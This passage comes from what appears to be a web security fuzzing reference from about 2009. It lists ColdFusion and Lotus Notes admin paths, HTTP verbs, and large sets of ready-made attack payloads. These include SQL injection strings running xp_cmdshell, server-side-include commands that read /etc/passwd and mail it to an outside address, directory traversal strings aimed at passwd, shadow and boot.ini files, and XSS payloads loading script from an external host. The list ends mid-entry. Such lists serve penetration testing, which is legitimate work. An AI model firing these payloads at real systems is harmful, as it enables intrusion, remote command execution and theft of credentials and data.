.xltm<br /> .xltx<br /> .xml<br /> .xmpz<br /> .xsl<br /> .xsn<br /> .xtm<br /> .xtp<br /> .xxd<br /> .{pb<br /> .~hm<br /> &lt;/pre&gt;<br /> <br /> === Cold Fusion Default Files - (Update: 16 March 2009 - Total Statements: 65) ===<br /> &lt;pre&gt;<br /> CFIDE/Administrator/<br /> CFIDE/Administrator/index.cfm<br /> CFIDE/Administrator/login.cfm<br /> CFIDE/Administrator/Application.cfm<br /> CFIDE/Application.cfm<br /> CFIDE/adminapi/<br /> CFIDE/adminapi/Application.cfm<br /> CFIDE/adminapi/administrator.cfc<br /> CFIDE/adminapi/base.cfc<br /> CFIDE/adminapi/customtags/<br /> CFIDE/adminapi/customtags/l10n.cfm<br /> CFIDE/adminapi/customtags/resources<br /> CFIDE/adminapi/customtags/resources/<br /> CFIDE/adminapi/datasource.cfc<br /> CFIDE/adminapi/debugging.cfc<br /> CFIDE/adminapi/eventgateway.cfc<br /> CFIDE/adminapi/extensions.cfc<br /> CFIDE/adminapi/mail.cfc<br /> CFIDE/adminapi/runtime.cfc<br /> CFIDE/adminapi/security.cfc<br /> CFIDE/adminapi/_datasource/<br /> CFIDE/adminapi/_datasource/formatjdbcurl.cfm<br /> CFIDE/adminapi/_datasource/getaccessdefaultsfromregistry.cfm<br /> CFIDE/adminapi/_datasource/geturldefaults.cfm<br /> CFIDE/adminapi/_datasource/setdsn.cfm<br /> CFIDE/adminapi/_datasource/setmsaccessregistry.cfm<br /> CFIDE/adminapi/_datasource/setsldatasource.cfm<br /> CFIDE/classes/<br /> CFIDE/classes/cf-j2re-win.cab<br /> CFIDE/classes/cfapplets.jar<br /> CFIDE/classes/images<br /> CFIDE/componentutils/<br /> CFIDE/componentutils/Application.cfm<br /> CFIDE/componentutils/cfcexplorer.cfc<br /> CFIDE/componentutils/cfcexplorer_utils.cfm<br /> CFIDE/componentutils/componentdetail.cfm<br /> CFIDE/componentutils/componentdoc.cfm<br /> CFIDE/componentutils/componentlist.cfm<br /> CFIDE/componentutils/gatewaymenu<br /> CFIDE/componentutils/gatewaymenu/<br /> CFIDE/componentutils/gatewaymenu/menu.cfc<br /> CFIDE/componentutils/gatewaymenu/menunode.cfc<br /> CFIDE/componentutils/login.cfm<br /> CFIDE/componentutils/packagelist.cfm<br /> CFIDE/componentutils/utils.cfc<br /> CFIDE/componentutils/_component_cfcToHTML.cfm<br /> CFIDE/componentutils/_component_cfcToMCDL.cfm?<br /> CFIDE/componentutils/_component_style.cfm<br /> CFIDE/componentutils/_component_utils.cfm<br /> CFIDE/debug/<br /> CFIDE/debug/images/<br /> CFIDE/debug/includes/<br /> CFIDE/images/<br /> CFIDE/images/skins/<br /> CFIDE/install.cfm<br /> CFIDE/installers/<br /> CFIDE/installers/CFMX7DreamWeaverExtensions.mxp<br /> CFIDE/installers/CFReportBuilderInstaller.exe<br /> CFIDE/probe.cfm<br /> CFIDE/scripts/<br /> CFIDE/scripts/css/<br /> CFIDE/scripts/xsl/<br /> CFIDE/wizards/<br /> CFIDE/wizards/common/<br /> CFIDE/wizards/common/utils.cfc&lt;/pre&gt;<br /> <br /> <br /> === All HTTP Verbs Defined in RFC's + 1 ARBITRARY Verb - (Update: 16 March 2009 - Total Statements: 31) ===<br /> &lt;pre&gt;OPTIONS<br /> GET<br /> HEAD<br /> POST<br /> PUT<br /> DELETE<br /> TRACE<br /> CONNECT<br /> PROPFIND<br /> PROPPATCH<br /> MKCOL<br /> COPY<br /> MOVE<br /> LOCK<br /> UNLOCK<br /> VERSION-CONTROL<br /> REPORT<br /> CHECKOUT<br /> CHECKIN<br /> UNCHECKOUT<br /> MKWORKSPACE<br /> UPDATE<br /> LABEL<br /> MERGE<br /> BASELINE-CONTROL<br /> MKACTIVITY<br /> ORDERPATCH<br /> ACL<br /> PATCH<br /> SEARCH<br /> ARBITRARY<br /> &lt;/pre&gt;<br /> <br /> === Lotus/Notes Files -(Update: 02 February 2010 - Total Statements: 111) ===<br /> &lt;pre&gt;/852566C90012664F<br /> /admin4.nsf<br /> /admin5.nsf<br /> /admin.nsf<br /> /agentrunner.nsf<br /> /alog.nsf<br /> /a_domlog.nsf<br /> /bookmark.nsf<br /> /busytime.nsf<br /> /catalog.nsf<br /> /certa.nsf<br /> /certlog.nsf<br /> /certsrv.nsf<br /> /chatlog.nsf<br /> /clbusy.nsf<br /> /cldbdir.nsf<br /> /clusta4.nsf<br /> /collect4.nsf<br /> /da.nsf<br /> /dba4.nsf<br /> /dclf.nsf<br /> /DEASAppDesign.nsf<br /> /DEASLog01.nsf<br /> /DEASLog02.nsf<br /> /DEASLog03.nsf<br /> /DEASLog04.nsf<br /> /DEASLog05.nsf<br /> /DEASLog.nsf<br /> /decsadm.nsf<br /> /decslog.nsf<br /> /DEESAdmin.nsf<br /> /dirassist.nsf<br /> /doladmin.nsf<br /> /domadmin.nsf<br /> /domcfg.nsf<br /> /domguide.nsf<br /> /domlog.nsf<br /> /dspug.nsf<br /> /events4.nsf<br /> /events5.nsf<br /> /events.nsf<br /> /event.nsf<br /> /homepage.nsf<br /> /iNotes/Forms5.nsf/$DefaultNav<br /> /jotter.nsf<br /> /leiadm.nsf<br /> /leilog.nsf<br /> /leivlt.nsf<br /> /log4a.nsf<br /> /log.nsf<br /> /l_domlog.nsf<br /> /mab.nsf<br /> /mail10.box<br /> /mail1.box<br /> /mail2.box<br /> /mail3.box<br /> /mail4.box<br /> /mail5.box<br /> /mail6.box<br /> /mail7.box<br /> /mail8.box<br /> /mail9.box<br /> /mail.box<br /> /msdwda.nsf<br /> /mtatbls.nsf<br /> /mtstore.nsf<br /> /names.nsf<br /> /nntppost.nsf<br /> /nntp/nd000001.nsf<br /> /nntp/nd000002.nsf<br /> /nntp/nd000003.nsf<br /> /ntsync45.nsf<br /> /perweb.nsf<br /> /qpadmin.nsf<br /> /quickplace/quickplace/main.nsf<br /> /reports.nsf<br /> /sample/siregw46.nsf<br /> /schema50.nsf<br /> /setupweb.nsf<br /> /setup.nsf<br /> /smbcfg.nsf<br /> /smconf.nsf<br /> /smency.nsf<br /> /smhelp.nsf<br /> /smmsg.nsf<br /> /smquar.nsf<br /> /smsolar.nsf<br /> /smtime.nsf<br /> /smtpibwq.nsf<br /> /smtpobwq.nsf<br /> /smtp.box<br /> /smtp.nsf<br /> /smvlog.nsf<br /> /srvnam.htm<br /> /statmail.nsf<br /> /statrep.nsf<br /> /stauths.nsf<br /> /stautht.nsf<br /> /stconfig.nsf<br /> /stconf.nsf<br /> /stdnaset.nsf<br /> /stdomino.nsf<br /> /stlog.nsf<br /> /streg.nsf<br /> /stsrc.nsf<br /> /userreg.nsf<br /> /vpuserinfo.nsf<br /> /webadmin.nsf<br /> /web.nsf<br /> /.nsf/../winnt/win.ini<br /> /?Open <br /> &lt;/pre&gt;<br /> <br /> === SQL Injection -(Update: 11 August 2009 - Total Statements: 126) ===<br /> &lt;pre&gt;Statement<br /> 'sqlvuln<br /> '+sqlvuln<br /> sqlvuln;<br /> (sqlvuln)<br /> a' or 1=1--<br /> &quot;a&quot;&quot; or 1=1--&quot;<br /> or a = a<br /> a' or 'a' = 'a<br /> 1 or 1=1<br /> a' waitfor delay '0:0:10'--<br /> 1 waitfor delay '0:0:10'--<br /> declare @q nvarchar (4000) select @q =<br /> 0x770061006900740066006F0072002000640065006C00610079002000270030003A0030003A<br /> 0<br /> 031003000270000<br /> declare @s varchar(22) select @s =<br /> 0x77616974666F722064656C61792027303A303A31302700 exec(@s)<br /> 0x730065006c00650063007400200040004000760065007200730069006f006e00 exec(@q)<br /> declare @s varchar (8000) select @s = 0x73656c65637420404076657273696f6e<br /> exec(@s)<br /> a'<br /> ?<br /> ' or 1=1<br /> ‘ or 1=1 --<br /> x' AND userid IS NULL; --<br /> x' AND email IS NULL; --<br /> anything' OR 'x'='x<br /> x' AND 1=(SELECT COUNT(*) FROM tabname); --<br /> x' AND members.email IS NULL; --<br /> x' OR full_name LIKE '%Bob%<br /> 23 OR 1=1<br /> '; exec master..xp_cmdshell 'ping 172.10.1.255'--<br /> '<br /> '%20or%20''='<br /> '%20or%20'x'='x<br /> %20or%20x=x<br /> ')%20or%20('x'='x<br /> 0 or 1=1<br /> ' or 0=0 --<br /> &quot; or 0=0 --<br /> or 0=0 --<br /> ' or 0=0 #<br /> or 0=0 #&quot;<br /> or 0=0 #<br /> ' or 1=1--<br /> &quot; or 1=1--<br /> ' or '1'='1'--<br /> ' or 1 --'<br /> or 1=1--<br /> or%201=1<br /> or%201=1 --<br /> ' or 1=1 or ''='<br /> or 1=1 or &quot;&quot;=<br /> ' or a=a--<br /> or a=a<br /> ') or ('a'='a<br /> ) or (a=a<br /> hi or a=a<br /> hi or 1=1 --&quot;<br /> hi' or 1=1 --<br /> hi' or 'a'='a<br /> hi') or ('a'='a<br /> &quot;hi&quot;&quot;) or (&quot;&quot;a&quot;&quot;=&quot;&quot;a&quot;<br /> 'hi' or 'x'='x';<br /> @variable<br /> ,@variable<br /> PRINT<br /> PRINT @@variable<br /> select<br /> insert<br /> as<br /> or<br /> procedure<br /> limit<br /> order by<br /> asc<br /> desc<br /> delete<br /> update<br /> distinct<br /> having<br /> truncate<br /> replace<br /> like<br /> handler<br /> bfilename<br /> ' or username like '%<br /> ' or uname like '%<br /> ' or userid like '%<br /> ' or uid like '%<br /> ' or user like '%<br /> exec xp<br /> exec sp<br /> '; exec master..xp_cmdshell<br /> '; exec xp_regread<br /> t'exec master..xp_cmdshell 'nslookup www.google.com'--<br /> --sp_password<br /> \x27UNION SELECT<br /> ' UNION SELECT<br /> ' UNION ALL SELECT<br /> ' or (EXISTS)<br /> ' (select top 1<br /> '||UTL_HTTP.REQUEST<br /> 1;SELECT%20*<br /> to_timestamp_tz<br /> tz_offset<br /> &amp;lt;&amp;gt;&quot;'%;)(&amp;amp;+<br /> '%20or%201=1<br /> %27%20or%201=1<br /> %20$(sleep%2050)<br /> %20'sleep%2050'<br /> char%4039%41%2b%40SELECT<br /> &amp;amp;apos;%20OR<br /> 'sqlattempt1<br /> (sqlattempt2)<br /> |<br /> %7C<br /> *|<br /> %2A%7C<br /> *(|(mail=*))<br /> %2A%28%7C%28mail%3D%2A%29%29<br /> *(|(objectclass=*))<br /> %2A%28%7C%28objectclass%3D%2A%29%29<br /> (<br /> %28<br /> )<br /> %29<br /> &amp;amp;<br /> %26<br /> !<br /> %21<br /> ' or 1=1 or ''='<br /> ' or ''='<br /> x' or 1=1 or 'x'='y<br /> /<br /> //<br /> //*<br /> */*<br /> a' or 3=3--<br /> &quot;a&quot;&quot; or 3=3--&quot;<br /> ' or 3=3<br /> ‘ or 3=3 --<br /> &lt;/pre&gt; <br /> === SSI (Server Side Includes) - (Update: xx/xx/xx - Total Statements: 4) ===<br /> &lt;pre&gt;&amp;lt;!--#exec cmd=&quot;/bin/ls /&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;cat /etc/passwd&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;find / -name *.* -print&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;mail Foobar@email.de &amp;lt;mailto:Foobar@email.de&amp;gt; &amp;lt; cat /etc/passwd&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &lt;/pre&gt; <br /> === Directory Traversal - (Update: 11 August 2009 - Total Statements: 132) ===<br /> &lt;pre&gt;Statement<br /> \..\WINDOWS\win.ini<br /> \..\..\WINDOWS\win.ini<br /> \..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\..\..\WINDOWS\win.ini<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> ..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> ../../../../../../../../../etc/passwd<br /> ../../../../../../../../etc/passwd<br /> ../../../../../../../etc/passwd<br /> ../../../../../../etc/passwd<br /> ../../../../../etc/passwd<br /> ../../../../etc/passwd<br /> ../../../etc/passwd<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> ../../../.htaccess<br /> ../../.htaccess<br /> ../.htaccess<br /> .htaccess<br /> ././.htaccess<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%2e%2f%2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%68%74%61%63%63%65%73%73<br /> %2e%2f%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%66%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> ../../../../../../../../../../../../etc/hosts%00<br /> ../../../../../../../../../../../../etc/hosts<br /> ../../boot.ini<br /> /../../../../../../../../%2A<br /> ../../../../../../../../../../../../etc/passwd%00<br /> ../../../../../../../../../../../../etc/passwd<br /> ../../../../../../../../../../../../etc/shadow%00<br /> ../../../../../../../../../../../../etc/shadow<br /> /../../../../../../../../../../etc/passwd^^<br /> /../../../../../../../../../../etc/shadow^^<br /> /../../../../../../../../../../etc/passwd<br /> /../../../../../../../../../../etc/shadow<br /> /./././././././././././etc/passwd<br /> /./././././././././././etc/shadow<br /> \..\..\..\..\..\..\..\..\..\..\etc\passwd<br /> \..\..\..\..\..\..\..\..\..\..\etc\shadow<br /> ..\..\..\..\..\..\..\..\..\..\etc\passwd<br /> ..\..\..\..\..\..\..\..\..\..\etc\shadow<br /> /..\../..\../..\../..\../..\../..\../etc/passwd<br /> /..\../..\../..\../..\../..\../..\../etc/shadow<br /> .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd<br /> .\\./.\\./.\\./.\\./.\\./.\\./etc/shadow<br /> \..\..\..\..\..\..\..\..\..\..\etc\passwd%00<br /> \..\..\..\..\..\..\..\..\..\..\etc\shadow%00<br /> ..\..\..\..\..\..\..\..\..\..\etc\passwd%00<br /> ..\..\..\..\..\..\..\..\..\..\etc\shadow%00<br /> %0a/bin/cat%20/etc/passwd<br /> %0a/bin/cat%20/etc/shadow<br /> %00/etc/passwd%00<br /> %00/etc/shadow%00<br /> %00../../../../../../etc/passwd<br /> %00../../../../../../etc/shadow<br /> /../../../../../../../../../../../etc/passwd%00.jpg<br /> /../../../../../../../../../../../etc/passwd%00.html<br /> /..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/passwd<br /> /..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/shadow<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/shadow<br /> %25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00<br /> /%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00<br /> %25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%<br /> /%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..winnt/desktop.ini<br /> \\&amp;amp;apos;/bin/cat%20/etc/passwd\\&amp;amp;apos;<br /> \\&amp;amp;apos;/bin/cat%20/etc/shadow\\&amp;amp;apos;<br /> ../../../../../../../../conf/server.xml<br /> /../../../../../../../../bin/id|<br /> C:/inetpub/wwwroot/global.asa<br /> C:\inetpub\wwwroot\global.asa<br /> C:/boot.ini<br /> C:\boot.ini<br /> ../../../../../../../../../../../../localstart.asp%00<br /> ../../../../../../../../../../../../localstart.asp<br /> ../../../../../../../../../../../../boot.ini%00<br /> ../../../../../../../../../../../../boot.ini<br /> /./././././././././././boot.ini<br /> /../../../../../../../../../../../boot.ini%00<br /> /../../../../../../../../../../../boot.ini<br /> /..\../..\../..\../..\../..\../..\../boot.ini<br /> /.\\./.\\./.\\./.\\./.\\./.\\./boot.ini<br /> \..\..\..\..\..\..\..\..\..\..\boot.ini<br /> ..\..\..\..\..\..\..\..\..\..\boot.ini%00<br /> ..\..\..\..\..\..\..\..\..\..\boot.ini<br /> /../../../../../../../../../../../boot.ini%00.html<br /> /../../../../../../../../../../../boot.ini%00.jpg<br /> /.../.../.../.../.../<br /> ..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../boot.ini<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/boot.ini<br /> &lt;/pre&gt; <br /> ''Sorry for breaking the layout - but &quot;breaking the layout&quot; could become &quot;breaking the software&quot;.'' <br /> <br /> === XSS Statements - Most effective/most common statements ===<br /> <br /> Testing Statements <br /> &lt;pre&gt;';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//&quot;;alert(String.fromCharCode(88,83,83))//\&quot;;alert(String.fromCharCode(88,83,83))//--&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;&amp;gt;'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt; <br /> '';!--&quot;&amp;lt;XSS&amp;gt;=&amp;amp;{()}<br /> &lt;/pre&gt; <br /> Common exploit code (covers a lot of XSS vulnerabilities) <br /> &lt;pre&gt;'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt='<br /> &quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt=&quot;<br /> \'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt=\'<br /> '); alert('xss'); var x='<br /> \\'); alert(\'xss\');var x=\'<br /> //--&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83));<br /> &lt;/pre&gt; <br /> === XSS Statements (Full List) - (Update: 11 August 2009 - Total Statements: 162) <br /> &lt;pre&gt;Statements<br /> &amp;lt;SCRIPT SRC=http://ha.ckers.org/xss.js&amp;gt;&amp;lt;/SCRIPT&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG SRC=JaVaScRiPt:alert('XSS')&amp;gt;<br /> &quot;&amp;lt;IMG SRC=javascript:alert(&quot;&quot;XSS&quot;&quot;)&amp;gt;&quot;<br /> &quot;&amp;lt;IMG SRC=`javascript:alert(&quot;&quot;RSnake says, 'XSS'&quot;&quot;)`&amp;gt;&quot;<br /> &quot;&amp;lt;IMG &quot;&quot;&quot;&quot;&quot;&quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG SRC=javascript:alert(String.fromCharCode(88,83,83))&amp;gt;<br /> &amp;lt;IMG SRC=&amp;amp;#0000106&amp;amp;#0000097&amp;amp;#0000118&amp;amp;#0000097&amp;amp;#0000115&amp;amp;#0000099&amp;amp;#0000114&amp;amp;#0000105&amp;amp;#0000112&amp;amp;#0000116&amp;amp;#0000058&amp;amp;#0000097&amp;amp;#0000108&amp;amp;#0000101&amp;amp;#0000114&amp;amp;#0000116&amp;amp;#0000040&amp;amp;#0000039&amp;amp;#0000088&amp;amp;#0000083&amp;amp;#0000083&amp;amp;#0000039&amp;amp;#0000041&amp;gt;<br /> &amp;lt;IMG SRC=&amp;amp;#x6A&amp;amp;#x61&amp;amp;#x76&amp;amp;#x61&amp;amp;#x73&amp;amp;#x63&amp;amp;#x72&amp;amp;#x69&amp;amp;#x70&amp;amp;#x74&amp;amp;#x3A&amp;amp;#x61&amp;amp;#x6C&amp;amp;#x65&amp;amp;#x72&amp;amp;#x74&amp;amp;#x28&amp;amp;#x27&amp;amp;#x58&amp;amp;#x53&amp;amp;#x53&amp;amp;#x27&amp;amp;#x29&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;jav&quot;<br /> &quot;ascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;perl -e 'print &quot;&quot;&amp;lt;IMG SRC=java\0script:alert(\&quot;&quot;XSS\&quot;&quot;)&amp;gt;&quot;&quot;;' &amp;gt; out&quot;<br /> &quot;perl -e 'print &quot;&quot;&amp;lt;SCR\0IPT&amp;gt;alert(\&quot;&quot;XSS\&quot;&quot;)&amp;lt;/SCR\0IPT&amp;gt;&quot;&quot;;' &amp;gt; out&quot;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot; &amp;amp;#14; javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT/XSS SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;BODY onload!#$%&amp;amp;()*~+-_.,:;?@[/|\]^`=alert(&quot;&quot;XSS&quot;&quot;)&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT/SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;);//&amp;lt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &amp;lt;SCRIPT SRC=http://ha.ckers.org/xss.js?&amp;lt;B&amp;gt;<br /> &amp;lt;SCRIPT SRC=//ha.ckers.org/.j&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&quot;<br /> &amp;lt;iframe src=http://ha.ckers.org/scriptlet.html &amp;lt;<br /> &amp;lt;SCRIPT&amp;gt;a=/XSS/\nalert(a.source)&amp;lt;/SCRIPT&amp;gt;<br /> &quot;\&quot;&quot;;alert('XSS');//&quot;<br /> 